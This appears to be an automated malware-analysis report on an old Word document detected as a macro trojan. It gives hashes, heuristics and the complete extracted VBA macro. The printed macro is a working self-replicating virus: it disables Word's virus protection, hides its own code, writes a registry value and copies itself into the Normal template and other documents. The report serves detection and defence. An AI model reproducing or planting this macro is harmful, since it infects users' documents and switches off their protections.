Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e643311389d56a0c…

MALICIOUS

Office (OLE)

28.5 KB Created: 2000-08-25 13:04:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: bbca12ce85742bdf2b1b98012da40a4e SHA-1: cba7ef740553af7d106cc5a75f7b4f008ccc7086 SHA-256: e643311389d56a0c479e92bdbc4ddf0b5fd6a061d05b80c1aa4b75b9954ff20c
328 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a critical 'Document_Open' VBA macro that utilizes 'WScript.Shell' and 'CreateObject' to execute commands. The macro attempts to write to the registry key HKEY_CURRENT_USER\Software\Microsoft\VBA\Office\EndProcLine, indicating an attempt to modify VBA settings or potentially establish persistence. The presence of 'Shell()' calls and the ClamAV detections strongly suggest a malicious downloader or trojan.

Heuristics 7

  • ClamAV: Doc.Trojan.Codefore-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Codefore-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\VBA\Office", "CodeForeColors") = "1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1"
Set WshShell = CreateObject("WScript.Shell"): WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\VBA\Office\EndProcLine", 0, "REG_DWORD"
If ActiveDocument.ReadOnly = 1 Then: SetAttr ActiveDocument.FullName, 0: ActiveDocument.Reload
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\VBA\Office", "CodeForeColors") = "1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1"
Set WshShell = CreateObject("WScript.Shell"): WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\VBA\Office\EndProcLine", 0, "REG_DWORD"
If ActiveDocument.ReadOnly = 1 Then: SetAttr ActiveDocument.FullName, 0: ActiveDocument.Reload
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_Open(): On Error Resume Next: Application.EnableCancelKey = 0
mig:
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2187 bytes
SHA-256: 98083cf20ba85e046950547f89479d2498cb398f4b5c5fb8361090f92cf095c4
Detection
ClamAV: Doc.Trojan.NoStyle-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open(): On Error Resume Next: Application.EnableCancelKey = 0
mig:
Application.ShowVisualBasicEditor = 0: Options.VirusProtection = 0: Options.SaveNormalPrompt = 0: ActiveDocument.ReadOnlyRecommended = 0: Application.ScreenUpdating = 0
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\VBA\Office", "CodeBackColors") = "1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\VBA\Office", "CodeForeColors") = "1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1"
Set WshShell = CreateObject("WScript.Shell"): WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\VBA\Office\EndProcLine", 0, "REG_DWORD"
If ActiveDocument.ReadOnly = 1 Then: SetAttr ActiveDocument.FullName, 0: ActiveDocument.Reload
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) = "mig:" Then DOT = True
If ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) = "mig:" Then DOC = True
If DOT = True And DOC = True Then GoTo 1
If DOT = False Then
VV = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, ThisDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
With NormalTemplate.VBProject.VBComponents.Item(1).CodeModule: .DeleteLines 1, .CountOfLines: .AddFromString VV: End With
End If
If DOC = False Then
CC = ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, ThisDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
With ActiveDocument.VBProject.VBComponents.Item(1).CodeModule: .DeleteLines 1, .CountOfLines: .AddFromString CC: End With
End If
If ActiveDocument.FullName = wdOpenFormatDocument Then ActiveDocument.SaveAs ActiveDocument.FullName
1: ActiveDocument.Saved = True
End Sub
Private Sub Document_Close(): On Error Resume Next: If ActiveDocument.Name = ActiveDocument.FullName Then End
If ActiveDocument.Saved = True Then Call Document_Open Else End
End Sub 'VOVAN//SMF

Open this report in the interactive analyzer, or submit your own file for analysis.